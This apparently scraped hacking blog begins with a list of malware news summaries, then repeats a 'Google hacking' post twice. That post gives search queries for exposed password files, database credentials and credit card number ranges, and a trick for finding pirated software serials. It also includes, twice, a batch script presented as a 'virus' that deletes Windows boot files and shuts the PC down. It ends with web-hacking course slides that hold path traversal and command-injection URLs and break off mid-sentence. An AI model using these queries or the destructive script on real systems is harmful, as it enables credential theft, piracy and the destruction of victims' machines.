Barely a week after the 60 Minutes April Fools' Conficker doomsday update failed to materialize, the closely watched Conflicker.C did finally manage an update. And in an ironic twist, the worm itself debunks much of the hype surrounding it.
PowerPoint Zero Day Vulnerability In-the-Wild
Microsoft has released Security Advisory 969136 warning of a newly discovered zero day PowerPoint vulnerability. The flaw impacts PowerPoint versions found in Windows versions of Office 2000, 2002, 2003, and Office 2004 for Mac.
60 Minutes, Conficker, and April's Fool
Is the Conficker worm set to detonate some evil payload on April 1st? According to 60 Minutes, it seems so. Here's the non-FUD behind the Conficker worm.
Downadup.AL aka Conficker.B Worm
Downadup.AL aka Conficker.B is a network worm that spreads via autorun, dictionary attacks on weakly protected network shares, and by exploiting the vulnerabilities described in MS08-067. The worm disables services related to automatic updates, error reporting, the Windows Security Center service, and the Windows Defender service. To prevent access to protection and removal tools, the worm also b…
Autorun Worms: How to Remove Autorun Malware
Autorun worms spread from USB/thumb drives as well as fixed and mapped drives. Autorun worms typically drop or download additional malware, usually backdoors and password stealers. Here's how to remove an autorun worm.
Sality Virus
Sality is a family of file infecting viruses that spread by infecting exe and scr files. The virus also includes an autorun worm component that allows it to spread to any removable or discoverable drive. In addition, Sality includes a downloader trojan component that installs additional malware via the Web.
Winthb 'Virus' Tied to Backdoor Trojans
A family of backdoor and autorun trojans are working together to plague users. One symptom that may appear - the drive volume name and icon may be changed. The more insiduous aspects of the infection are far more silent and may be overlooked when users attempt manual removal.
A Storm of Scary Email
In recent weeks, a rash of spam has been sent that bear much resemblance to the all-too-familiar tactics of the Storm botnet.
Most Damaging Malware
All malware is bad, but some types of malware do more damage than others. That damage can range from loss of files or total loss of security. This list (in no particular order) provides an overview of the most damaging types of malware.
Easily Remove the MonaRonaDona 'Virus'
The MonaRonaDona 'virus' is a self-advertised 'virus' that isn't even a virus at all. It's a non-replicating program (i.e., a Trojan) that loads when Windows is started, changing the Internet Explorer title bar to read MonaRonaDona and displaying a message which blocks access to your legitimate running programs.
What is JS/Psyme (and How to Get Rid of It)
Many users have experienced repeated warnings of infection by Psyme each time they open their browser. Depending on the antivirus in use, the name given in the warning may be any of the following: Downloader.Psyme (Symantec), Troj/Psyme (Sophos), Trojan.VBS.KillAV (Kaspersky), TrojanDownloader.VBS.Psyme (CA),Trojan.Downloader.JS.Psyme (Kaspersky), VBS/Petch.A (F-Prot), VBS/Psyme (McAfee)
What is the Storm Worm?
The so-called Storm worm is actually not a worm, but rather a family of Trojans that typically include a backdoor, SMTP relay, P2P communications, email harvester, downloader, and often a rootkit.
U.Z.A. O/S Eliminator Worm
The so-called "U.Z.A. O/S Eliminator" worm appears to have originated in Maldives sometime in late July or early August 2007. The worm exploits the autorun feature, enabling it to spread from removable USB/thumb drives to other computers.
Freedom / Outlaw Worm
The Freedom 'virus' is a worm that infects local and USB drives, disables access to Task Manager, Registry Editor and other system utilities, and may try to delete MP3 files found on infected systems. Here's how to clean it.
Trojan.MeSpam Makes You the Spammer
Instead of relying on bots to do the dirty work, Trojan.MeSpam makes you the culprit. Once infected, every forum post you make, every webmail you send, and every blog comment you leave will also deposit a link pointing to a nefarious website.
Rinbot Worm Prompts Repeated Denials
Is Rinbot the little worm that isn't? Or is it simply the worm that no one wants to acknowledge exists? Here's a timeline of this "non-threat".
Storm Worm
The Storm worm spreads via email, using a variety of subject lines and message text that may masquerade as news articles or other current events.
Skype Chatosky Worm: Friend or Foe?
Thanks to the Chatosky worm, I uncovered some things about the Skype service that I might not otherwise have known.
Qspace Javascript Worm Targets MySpace Users
MySpace users are yet again a victim of another targeted attack. Dubbed JS_QSPACE.A by antivirus vendor Trend Micro and JS.Qspace by Symantec, the Javascript worm exploits a cross-site scripting (XSS) vulnerability embedded in a malicious Quicktime .MOV file.
Rontokbro aka Brontok Worm
A mass-mailing email worm that also spreads via USB and thumb drives, the Rontokbro worm - also know as Brontok - takes a multifacted approach to defy detection and removal.
Stration Email Worm
Stration is a mass-mailing email worm that attempts to download a file from a remote server. The worm may inject itself into certain running processes, potentially causing it to bypass firewalls or other security software.
Stration Worm
Stration is a mass-mailing email worm that may attempt to download files from a remote server.
VML FUD FAQ
There's a lot of misinformation being disseminated around the recently discovered VML vulnerability. Here's an attempt to address those misconceptions and alleviate some of the fears.
Zero-Day VML Vulnerability Impacts IE, Windows
A zero-day vulnerability in the Windows implementation of Vector Markup Language (VML) impacts all supported versions of Internet Explorer, all supported versions of Microsoft Windows 2003, Windows XP, and Windows 2000, and recent versions of Outlook and Outlook Express.
Are You in a Botnet?
With 12 million infected systems under their control, botnet operators are controlling a population rougly the size of Guatemala. In fact, the number of infected systems would place it at about 70 out of 230 sovereign states and territories worldwide.
Popular Antivirus Apps *Do* Work
The more a story gets told, the more the original story gets changed by each new storyteller. Sometimes, the story gets so far removed from the original, that the entire intent of the story is lost and new intent construed. Such is the case with the story of antivirus effectiveness, which was recently put through the spin cycle, wrung out, and reformed by Charlie White, editor of the Gizmodo gadget blog.
McAfee Downplays Security Flaws
Vulnerability researchers at eEye Digital uncovered serious flaws in McAfee security products that could allow attackers to gain remote control of affected systems.
Yahoo worm: JS/Yamanner
An early-morning report on a security mailing list led to the discovery of Yamanner, a mass-mailing email worm that impacted Yahoo webmail users.
Gamblers Lose Big with Free Tool
Every successful gambler knows how to handle a certain amount of risk, and how to minimize their losses. But a free tool that promised to help gamblers get the most out of the game turned out to be a Trojan that scammed them out of their winnings.
Hoot Worm Preys on Company
It seems a disgruntled employee targeted their enterprise with a worm that causes pictures of a rather odd looking owl to print on nearly 40 printers specific to the targeted firm.
Nugache Worm
Nugache is a worm that may spread via email, IM, or P2P networks.
Ransomware: Trojans demand money from victims
Having your computer infected with a virus or other malicious software is upsetting enough. But over the past year, a new type of attack promises to be even more disconcerting. Dubbed ransomware, this new attack infects the system, encrypts the files, and then demands payment from its victims.
QuickBatch Trojan Targets the Blind
There is no such thing as a good virus, but some viruses are more despicable than others. Case in point, the newly discovered W32/QuickBatch.G!tr Trojan that specifically targets members of the blind community.
Bagle worm variant warns: 'Lawsuit Against You'
Bagle worm variant that spreads via email and fileshares/P2P networks warns of 'Lawsuit Against You'
Nyxem aka Blackmal worm
Discovered on January 17, 2006, the Nyxem worm has a dangerous payload that executes on the 3rd of each month, overwriting files with specific extensions.
2005: Top Ten Malware Events
Here's the best and worst of 2005 from a malware perspective.
2003: Year of the Black Sheep
It seems appropriate that the Chinese dubbed 2003 as the Year of the Black Sheep. Among other things, the sheep is a symbol of untidiness - and from a virus standpoint, the year was indeed a mess.
2002: Virus Writers Contribute to SPAM
The year 2002 ushered in a new era of malicious marketing code
2001: Year of the Virus
Detecting email-borne viruses every 18 seconds, MessageLabs calls 2001 The Year of the Virus
WMF Image Handling Exploit
A serious vulnerability in Windows Fax and Picture Viewer can allow remote attackers to use .WMF image files to gain control of your system.
Sober.X Worm Description
Sober.X is a mass-mailing email worm that sends itself in either English or German depending on the recipient's domain. In addition to mass-mailing, Sober.X terminates processes related to various antivirus and security programs.
Sober.U Worm
Sober.U arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sober.T Worm
Sober.T arrives in an email message that may be in either German or English language, depending on the recipient's domain.
sober.s Worm
sober.s arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sober.R Worm
Sober.R arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sony Stinx Trojan
The Sony Stinx Trojan exploits the Sony DRM cloaking technology (aka rootkit) installed by music CDs published by Sony after March 2005. This allows the malware to be hidden from view - effectively masking its presence even from most antivirus scanners. The Sony Stinx Trojan installs an IRC Backdoor Trojan that allows remote access to compromised PCs, downloads other malware, and disables the Windows XP firewall.
Slapper worm gets facelift: Linux Lupper worm, aka Plupi and Lupii
The Linux Slapper worm has been given a facelift and this time BBS admins and web bloggers are the target. The new worm has been given a half dozen new names, including Linux/Lupper worm Linux.Plupi, Backdoor.Linux.Smal, ELF_LUPPER.A and Exploit.Linux.Lupii.
Sony President Defends Rootkit
the President of Sony BMG's Global Digital Business, Thomas Hesse, defends Sony's installation of a rootkit by declaring, "Most people, I think, don't even know what a Rootkit is, so why should they care about it?"
Sony Rootkit Strikes Sour Note
If you've purchased a Sony-labeled music CD since March 2005 and used it on your PC, chances are it installed a rootkit that can be easily exploited by virus writers.
Alleged Botnet Creators Arrested
Dutch police have announced the arrests of the alleged author of W32.Toxbot and two alleged accomplices.
First Sony PSP Trojan
PSP.Brick impacts the Sony PSP game console, flashing critical system files and rendering the console unbootable. The newly discovered PSP.Brick isn't technically a virus - it's a Trojan. But the news surrounding PSP.Brick could be described as a polymorphic virus - it spreads fast and the story changes with each reporter it infects.
IM Worms Pose Signficant Threat
Since January 1, 2005, at least 358 descriptions have been published for specific IM threats.
Kelvir Instant Messenger (IM) worm
The most prevalent IM worm is Kelvir family of worms that target MSN Messenger users.
Agent.AD Trojan nabs headlines from London attacks
Just hours after BBC published a news report titled "London attackers 'meant to kill'", the Agent.AD Trojan email stole the headline and part of the copy, using it as a ruse to entice victims into opening its infected attachment.
AIM worm impersonates iTunes app
IM worms continue to expand their repertoire of social engineering tricks. W32/Olameg-net, a.k.a. Opanki.Y and AIM/Megalo, installs itself to the Windows System directory as itunes.exe, presumably trying to disguise itself as the popular Apple iTunes application.
Michael Jackson suicide spam a Trojan
Malware authors eager to capitalize on the Michael Jackson trial have been sending booby-trapped spam messages claiming the pop-singer has attempted suicide.
Mytob.BI worm
Discovered May 31, 2005, Mytob.BI is a mass-mailing email worm that compromises system security by terminating processes related to various antivirus software, disabling the XP SP2 firewall, and modifying the HOSTS file to prevent access to antivirus updates and certain other websites.
Mytob.AR
Discovered May 30, 2005, Mytob.AR is a mass-mailing email worm that compromises system security by terminating processes related to various antivirus software, disabling the XP SP2 firewall, and modifying the HOSTS file to prevent access to antivirus updates and certain other websites.
Prevent the Mytob worm
The Mytob variants are mass-mailing email worms that compromise system security by terminating processes related to various antivirus software and modifiying the Registry to disable the XP SP2 firewall.
Sober.P turns to spam
The Sober.P worm has morphed into a spam Trojan, sending politically-charged messages from infected systems.
Sober hangover begins
The Sober.P worm abruptly stopped its mass-mailing at midnight GMT on May 9th, presumably entering its second stage of infection.
Firefox flaws rated extremely critical
Firefox flaws rated extremely critical
Sober.P worm threatens
Discovered May 2, 2005, Sober.P (also known as Sober.O) is a mass-mailing email that sends itself in either German or English language, depending on the intended recipient's domain.
Crog IM worm
The Crog worm edits the system registry to lower security settings, modifies the HOSTS file to redirect access to various security sites and shuts down processes associated with various security software.
Kelvir IM worms
Three new IM worms, Kelvir.A, Kelvir.B, and Kelvir.C were discovered by antivirus vendors on March 6th and 7th, 2005.
Bagle.BE worm
Discovered on March 1, 2005 in conjunction with several mass-spammed Bagle-like Trojans, Bagle.BE arrives in an email with a blank subject line
Troj/BagleDl-L
Troj/BagleDl-L is a Trojan, not a worm, and does not contain mass-mailing capabilities. However, Troj/BagleDl-L was mass-spammed via email during the morning of March 1st, 2005.
Bagle.AZ worm
Like Bagle.AY, Bagle.AZ is a mass mailing email and P2P filesharing worm with downloader capabilites.
Bagle.AY worm
Bagle.AY is a mass mailing email and P2P filesharing worm with backdoor and downloader capabilites. As with previous variants and most modern email worms, the worm uses its own SMTP engine to spread via email and the From address is spoofed.
MyDoom.AM hijacks HOSTS
MyDoom.AM is a mass-mailing email and P2P filesharing worm that modifies the HOSTS file to prevent infected users from accessing certain antivirus vendor sites.
Lovgate.W worm
A mass-mailing email and filesharing worm, Lovgate.W also contains backdoor capabilities
A stocking full of coal: Multiple flaws in Windows could lead to compromise
Ever wonder what Bill Gates gets for Christmas? This year, the Chinese security firm VenusTech delivered three new Windows exploits just in time for the holidays.
Zafi.D worm spreads Christmas fear
A new variant of the Zafi worm, dubbed Zafi.D, sends itself as a Christmas greeting - in a variety of languages depending on the recipient's domain.
MakeLOVEnotSPAM mask worn byTrojan
Dubbed TrojanDropper.FakeSpamFighter and Troj/Mdrop-IT, the Trojan masquerades as the Lycos infamous MakeLOVEnotSPAM screensaver
Sober.I worm
Sober.I is a mass-mailing email worm that sends itself in both German and English, depending on the infected users' operating system language. Sober.I uses is own SMTP engine to send itself to email address found on infected systems, spoofing the From address.
Bofra.A worm exploits SHDOCVW.DLL flaw
Bofra.A worm exploits SHDOCVW.DLL flaw
Klez Help Center
The Klez virus uses a variety of techniques to fool and aggravate users
Homepage Virus
Also known as Homepage, this e-mail worm was discovered in the wild on May 8th, 2001
IRCsome McVeigh Video a RAT
Alleged movie of Timothy McVeigh execution really the Subseven remote access Trojan.
Sobig.E worm
The Sobig.E worm spreads via email. The Sobig.E worm attachment is a ZIP file.
Virus Encyclopedia
From your Antivirus.About.com guide, an encyclopedia of virus and hoax descriptions. Includes PC, Macintosh, Unix, Active Content, and Wireless infectors.
AntiVirus Research Center
Timely and searchable information concerning viruses currently in-the-wild and even those that are not.
AVP's VirusList
So comprehensive, it might be somewhat difficult to navigate. Well worth the effort, AVP delivers the definitive virus encyclopedia.
Hoaxes and Myths
Though not a virus, hoaxes and myths can still cause downtime and loss of productivity due to unwarranted panic. Rob Rosenberger maintains a plethora of information concerning these non-threatening threats.
Computer Virus Info
From F-Secure, an alphabetized database of virus descriptions. Search by exact name or keyword.
Panda Virus Descriptions
From the makers of Panda Antivirus, an encyclopedia searchable by name, category or family. The database is prefaced by an introduction to computer viruses and a handy glossary of terms.
The WildList
Compiled from various reporting agencies and individuals. Listing all viruses actually causing active infections worldwide, the wildlist is updated monthly.
Virus Analyses
One very long list of just some of the viruses detected by Sophos.
Virus Information Library
The McAfee AVERT Virus Information Library includes detailed information on viruses as well as popular hoaxes and myths.
WildList Virus Descriptions
F-Secure simplifies the WildList by linking descriptions to the names of the viruses reported to be in the wild. Updated monthly.
Friday, June 25, 2010
Google hacking at its finest..
Using Google, and some finely crafted searches we can find a lot of interesting information.
For Example we can find:
Credit Card Numbers
Passwords
Software / MP3's
...... (and on and on and on) Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in.
Try a few of these searches:
intitle:"Index of" passwords modified
allinurl:auth_user_file.txt
"access denied for user" "using password"
"A syntax error has occurred" filetype:ihtml
allinurl: admin mdb
"ORA-00921: unexpected end of SQL command"
inurl:passlist.txt
"Index of /backup"
"Chatologica MetaSearch" "stack tracking:"
Amex Numbers: 300000000000000..399999999999999
MC Numbers: 5178000000000000..5178999999999999
visa 4356000000000000..4356999999999999
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Notice that I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
METHOD 2
put this string in google search:
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
METHOD 3
put this string in google search:
inurl:microsoft filetype:iso
You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc…
"# -FrontPage-" inurl:service.pwd
Frontpage passwords.. very nice clean search results listing !!
"AutoCreate=TRUE password=*"
This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. For those who can read Japanese, check out the author's site at: http://www.coara.or.jp/~passy/
"http://*:*@www" domainname
This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net
"http://*:*@www" bangbus or "http://*:*@www"bangbus
Another way is by just typing
"http://bob:bob@www"
"sets mode: +k"
This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.
allinurl: admin mdb
Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are!
allinurl:auth_user_file.txt
DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. =)
intitle:"Index of" config.php
This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database.
eggdrop filetype:user user
These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.
intitle:index.of.etc
This search gets you access to the etc directory, where many many many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun!
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version).
Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.
Let's pretend you need a serial number for windows xp pro.
In the google search bar type in just like this - "Windows XP Professional" 94FBR
the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
or if you want to find the serial for winzip 8.1 - "Winzip 8.1" 94FBR
Credits and More Info
http://johnny.ihackstuff.com
{mos_sb_discuss:18}
For Example we can find:
Credit Card Numbers
Passwords
Software / MP3's
...... (and on and on and on) Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in.
Try a few of these searches:
intitle:"Index of" passwords modified
allinurl:auth_user_file.txt
"access denied for user" "using password"
"A syntax error has occurred" filetype:ihtml
allinurl: admin mdb
"ORA-00921: unexpected end of SQL command"
inurl:passlist.txt
"Index of /backup"
"Chatologica MetaSearch" "stack tracking:"
Amex Numbers: 300000000000000..399999999999999
MC Numbers: 5178000000000000..5178999999999999
visa 4356000000000000..4356999999999999
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Notice that I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
METHOD 2
put this string in google search:
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
METHOD 3
put this string in google search:
inurl:microsoft filetype:iso
You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc…
"# -FrontPage-" inurl:service.pwd
Frontpage passwords.. very nice clean search results listing !!
"AutoCreate=TRUE password=*"
This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. For those who can read Japanese, check out the author's site at: http://www.coara.or.jp/~passy/
"http://*:*@www" domainname
This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net
"http://*:*@www" bangbus or "http://*:*@www"bangbus
Another way is by just typing
"http://bob:bob@www"
"sets mode: +k"
This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.
allinurl: admin mdb
Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are!
allinurl:auth_user_file.txt
DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. =)
intitle:"Index of" config.php
This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database.
eggdrop filetype:user user
These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.
intitle:index.of.etc
This search gets you access to the etc directory, where many many many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun!
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version).
Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.
Let's pretend you need a serial number for windows xp pro.
In the google search bar type in just like this - "Windows XP Professional" 94FBR
the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
or if you want to find the serial for winzip 8.1 - "Winzip 8.1" 94FBR
Credits and More Info
http://johnny.ihackstuff.com
{mos_sb_discuss:18}
Thursday, June 24, 2010
VIRUS THAT CRASHESH UR OWN PC
VIRUS THAT CRASHESH UR OWN PC@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut [...]
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive
save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut [...]
Tuesday, June 22, 2010
WEB HACKING
What is Web Hacking ?
Penetrate the network using web applications
and servers
How is this done
1. Exploit vulnerable servers (SSL buffer
overflows, directory traversal, etc)
2. Exploit weak configurations
3. Exploit web applications
Emanics Summer School, 2008 Zurich - 3 -
Security threats and vulnerabilities
• What is Security ?
– “Security is a process not a product”, Bruce Schneier,
– “Maintaining an acceptable level of perceived risk”, Richard Bejtlich.
• What is a threat ?
– A threat is an external security issue represented by a natural or
man-made attack
• What is a vulnerability ?
– a specific degree of weakness of an individual computer or network
exposed to the influence of a threat
• What is risk ?
– A risk is the degree of probability that a disaster will occur in light of
the existing conditions, and the degree of vulnerability or weakness
present in the system. The key difference between a threat and a
risk is that a threat is related to the potential occurrence of a
security issue, whereas a risk is the probability of an incident
occurring based on the degree of exposure to a threat. Risk, for
security purposes, is usually calculated in dollars and cents.
Emanics Summer School, 2008 Zurich - 4 -
Threat Modeling
• Closely related to a specific enterprise
– Takes into account users, roles, access,
services, natural conditions etc..
• Several models exists:
– The OCTAVE approach, Carnegie Mellon
– STRIDE (Microsoft)
• Objective
– Identify the threats and assess their impact
– Produce a structural models of threats and
countermeasures.
Emanics Summer School, 2008 Zurich - 5 -
Vulnerabilities disclosure
• SANS (www.sans.org) keeps an updated viw
on the most 20 dangerous vulnerabilities
/attack targets
• CERT (Computer Emergency Response)
–Various regional/national sub groups
– Historical source of information on vulnerabilities
• Web Sites/Mailing Lists
–Milw0rm
–Secunia
– fulldisclosure
Emanics Summer School, 2008 Zurich - 6 -
Security Assessment/Penetration Testing
• Security Assessment
– identifies potential vulnerabilities, their impact
and potential impact.
– Provides a global view on the security of the
overall network and services
• Penetration Testing
– breaking into and exploiting vulnerabilities in
order to replicate an real hacker
–“Show” and very impressive
–Limited, because maybe more ways to intrude
might exist
Emanics Summer School, 2008 Zurich - 7 -
What you need to know
• Network and application level knowledge
• A keen eye, open mind and curiosity to learn how things work
• A passion for generating and analyzing error messages.
• Master the tools ….do what You want to do, not what the tools can do.
• Ethics….
• Service continuity
– Use off time business hours
– Do not test DOS attacks
• You might go to jail if your actions affect third parties not included in the contract
or national laws.
• Do not assess or perform penetration testing on networks that are not yours or
for which you don’t have a written permission
Emanics Summer School, 2008 Zurich - 8 -
What do you search
1. A communication channel
2. A username
3. A password
Remember: If you know two of them, you can
bruteforce the third.
Emanics Summer School, 2008 Zurich - 9 -
Reconnaissance gathering
• Objective : Learn the most about a network
• Who is doing it .
– Hackers going after your assets
– Script kiddies running scanners
– WORMS looking for new propagation and replication places
– Automatised attack and installation software
• What to learn about a network:
– Network topology (IP subnetworks, alive etc..)
– Firewall ACL
– Operating systems and the services/programs running
• Approaches
– « Google hacking » - use google to search for vulnerabilities :http:/
/johnny.ihackstuff.com/
– DNS and internet databases
– Scanning
• Inverse mapping for network topology
• Port scanning for OS fingerprinting and service identification
• SNMP
• Passive monitoring
Emanics Summer School, 2008 Zurich - 10 -
Reconnaissance gathering
Objective : Learn domains and real network associated to an
organisation.
Tool : Whois Databases
– Europeean IP address allocation : www.ripe.net
– US army : whois.nic.mil
– France : whois.nic.fr
Example : Discover organisation information about Loria:
whois « loria.fr » -h whois.nic.fr
Information about :
– administrative contact (can be reused in social engineering)
– Network domains, name servers and allocated IP addesses
Emanics Summer School, 2008 Zurich - 11 -
Reconnaissance gathering with DNS
Objective : Discover the network topology by DNS
interrogation.
Tools : nslookup, dig, , zone transfer tools (SAM-SPADE,
Smart-Whois, etc…)
What to discover !
– Name servers (ns entries)
– Mail servers (mx entries)
– Any IP and names visible
– HINFO records about systems
• Reverse DNS for more stealth
Emanics Summer School, 2008 Zurich - 12 -
Exploiting web servers and configuration
Software :
• A server is just a piece of software, therefore it
can be broken if software is not well written
• Famous examples
– SSL buffer overflows against Apache
– Directory traversal against ISS and Apache :
www.vulnerable.com/../../../../../../../etc/passwd
• Configuration
– Files with confidential information on the server (google
hacking with ext:xls...)
– Unprotected sensible zones
– Security by Obscurity
Emanics Summer School, 2008 Zurich - 13 -
Exploiting web applications
Major causes of threads:
• Programmers are busy, not well trained on security
and sometimes lazy
• Security by obscurity
• Multiple programming languages and character
formats
• Integration of multiple applications (web fronat,
database servers, and programming
environments)
Emanics Summer School, 2008 Zurich - 14 -
What are the major 10 threats ? OWASP
• A1 – Unvalidated Input
• A2 – Broken Access Control
• A3 – Broken Authentication and Session
Management
• A4 – Cross Site Scripting (XSS) Flaws
• A5 – Buffer Overflows
• A6 – Injection Flaws
• A7 – Improper Error Handling
• A8 – Insecure Storage
• A9 – Denial of Service (DoS)
• A10 – Insecure Configuration Management
Emanics Summer School, 2008 Zurich - 15 -
What are the major threats ? WASC
1. Authentication
Brute Force
Insufficient Authentication
Weak Password Recovery Validation
2. Authorization
Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation
3. Client-Side Attacks
Content Spoofing
Cross-site Scripting
4. Command Execution
Buffer Overflow
Format String Attack
LDAP Injection
OS Commanding
SQL Injection 4.6 SSI Injection 4.7 XPath Injection
5. Information Disclosures
Directory Indexing
Information Leakage
Path Traversal
Predictable Resource Location
6. Logical Attacks
Abuse of Functionality
Denial of Service
Insufficient Anti-automation Insufficient Process Validation
Emanics Summer School, 2008 Zurich - 16 -
Input Validation
• Can you find any limitations in the defined/used variables and protocol
payload, that is, accepted data length, accepted data types, data formats,
and so on?
• Use exceptionally long character-strings to find buffer overflow vulnerability in
the application code base or the web server itself.
• Use concatenation techniques in the input strings to try to get the target
application to behave incorrectly.
• Inject specially crafted SQL statements in the input strings
• Force Cross-Site Scripting (XSS) functionality
• Look for unauthorized directory or file access with path or directory traversal
in the input strings of the target application.
• Try using specific URL-encoded strings and Unicode-encoded strings to
bypass input validation mechanisms used within the target application.
• Use of server-side includes, try executing remote commands.
• Manipulate the session management techniques to fool Try to manipulate
(hidden) field variables in HTML forms to fool server-side logic.
• Manipulate the “Referrer” value in the HTTP “Host” header in order to fool or
modify server-side logic.
• Try to force illogical or illegal input so as to test the target’s error-handling
routines.
Emanics Summer School, 2008 Zurich - 17 -
Input Validation pentesting
Inject server side script :
http://example.com/index.php=.
Execute other commands:
http://example.com/foo.pl?page=../../../../bin/ls%20-las%20/home|.
Bypass filtering mechanisms when Perl and C use other coventions:
http://example.com/foo.pl?page=../../../../etc/passwd%00html
Path traversal
http://example.com/index.php?file=../../../etc/passwd
Use alternate character sets
• ..%u2215 : Unicode encoded backward slash character
• ..%c0%af : UTF-8 encoded forward slash character
Emanics Summer School, 2008 Zurich - 18 -
Breaking Access Control
• How is the app administrated? By how many people? And what gives
them that right above regular app users?
• How are changes made to content? How are these changes
published to production?
• How many people have publishing rights? How are those rights
determined, established, and enforced?
• Is there a QA testing and verification process for content?
• How are changes made to the app? How are these changes
published to production?
• How many people can touch the app to publish new or updated
code? Are they developers? How are those rights determined,
established, and enforced?
• Is there a QA testing and verification process for app modifications?
• Is any of the publishing or deploying done remotely? If so, how?
• How is the DB maintained and administrated? By how many people?
Do the DBAs have remote access to the DB server(s)?
• Is the app segmented by access control or is there one blanket group
with publishing rights?
Emanics Summer School, 2008 Zurich - 19 -
Breaking Authentication
Attempt to concretely ascertain the authentication
mechanism that is in place
Verify that said mechanism is being used uniformly
across all sensitive resources
Verify how this mechanism is being applied to all the
resources within the Web application
Emanics Summer School, 2008 Zurich - 20 -
Web Authentication
Types of authentication
1. Basic Authentication with username send almost
in clear –base64 encoded)
2. HTTP digest using M5 cryptographic hashes
3. HTML forms (using maybe an additional databa)
4. Windows specific (NTLM kind of)
Breaking authentication
Brute force (using brutus)
Database SQL injection
Hacking the session management
Emanics Summer School, 2008 Zurich - 21 -
Hacking the sessions
How are sessions maintained ?
1. Using a mixture of headers (referer, url, IP source) and
cockies (most cases an encrypted and time stamp based
system)
2. Sometimes with hidden HTML field
Breaking sessions
Detecting the predictability of session generation mechanism
Examples: Easy to break;
http://example.com//191-4039737-1105
http://example.com//162-4039740-1105
Not so easy
https://example.com/login.jsp?token=E7F8C189-728F-46EA-A3FE-FABA5B9384D0
https://example.com/login.jsp?token=A5BD2BBA-311D-4625-A218-8AC51C7AB688
Emanics Summer School, 2008 Zurich - 22 -
Hacking the sessions
Session reuse where an old session ID can be replayed.
Session fixation where an attacker initiates a session and
somehow convinces the victim to connect using this session
By email/roque server
Don't Click here!!
By Javascript injection: Jikto
Emanics Summer School, 2008 Zurich - 23 -
XSS Cross site scripting
Hacker injects scripts in vulnerable applications (forums, online
